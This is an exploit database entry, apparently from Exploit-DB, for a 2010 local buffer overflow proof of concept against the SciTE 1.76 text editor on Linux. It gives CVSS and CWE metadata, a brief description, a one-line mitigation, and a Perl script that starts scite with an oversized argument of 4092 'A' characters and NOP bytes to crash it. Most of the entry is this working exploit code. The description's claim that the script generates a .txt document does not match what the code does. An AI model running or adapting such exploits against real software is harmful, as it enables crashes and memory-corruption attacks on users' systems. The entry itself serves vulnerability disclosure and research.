Scite text editor :Local Buffer Overflow (PoC)

vendor:

Scite

by:

kmkz

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Scite

Affected Version From: 1.76

Affected Version To: 1.76

Patch Exists: YES

Related CWE: N/A

CPE: a:scite:scite

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2010

Scite text editor :Local Buffer Overflow (PoC)

This PoC generates a .txt document and crashes Scite exploiting a local Buffer Overflow. The exploit uses a payload of 4092 A characters followed by 4 NOP instructions. The exploit is tested on Linux 2.6.31-22 and is applicable to Scite version 1.76.

Mitigation:

Ensure that the latest version of Scite is installed and that all security patches are applied.

Source

Exploit-DB raw data:

# Exploit Title: Scite text editor :Local Buffer Overflow (PoC)
# Date: 28/06/2010
# Author: kmkz
# Version: [Scite 1.76 (lastest version)
# Tested on: Linux 2.6.31-22

# Code : Proof of Concept
#!/usr/bin/perl -wU
# 0-Days PoC (Local BoF Scite 1.76)
use strict;
use diagnostics;
use English \'-no_match_vars\';

use constant SUCCESS=>(1);
use constant FAILLURE=>(0);
use constant TARGET_BINARY=>(\"scite\");
use constant PAYLOAD=>(`perl -e \'print \"A\"x4092 . \"\\x90\\x90\\x90\\x90\"\'`);
use constant VERSION =>(\"/usr/share/scite/SciTE.html\");


BEGIN:

if(-e VERSION)
{
foreach(VERSION)
{
my @version_checking=($_=~ //);
@version_checking=split(/W/);

next if !($\' =~ m/1.76/) || warn (\"[*] WARNING: not Scite Version 1.76 \\012\\012\");
}


my $Exploitation=(system( TARGET_BINARY, PAYLOAD));
open (DUMP ,\">> Dump_Scite_Local_BoF_PoC.log\") or warn(\"[-] Can\'t create dump_file\\012\\015\");
printf(DUMP\" [+] This PoC generate a .txt document and crash scite exploiting a local Buffer Overflow (just for example) \\012\\012\\015\");

printf(\"%s\\012\", $Exploitation ) ;

printf(DUMP\"[+] Run in GDB for more information (using this payload):\\012 %s\", PAYLOAD);

close(DUMP);
exit(SUCCESS);
}


else
{
printf(\"[!] %s : MISSING \\012 [!] %s \\012\\012\",VERSION,$!);
exit(FAILLURE);
}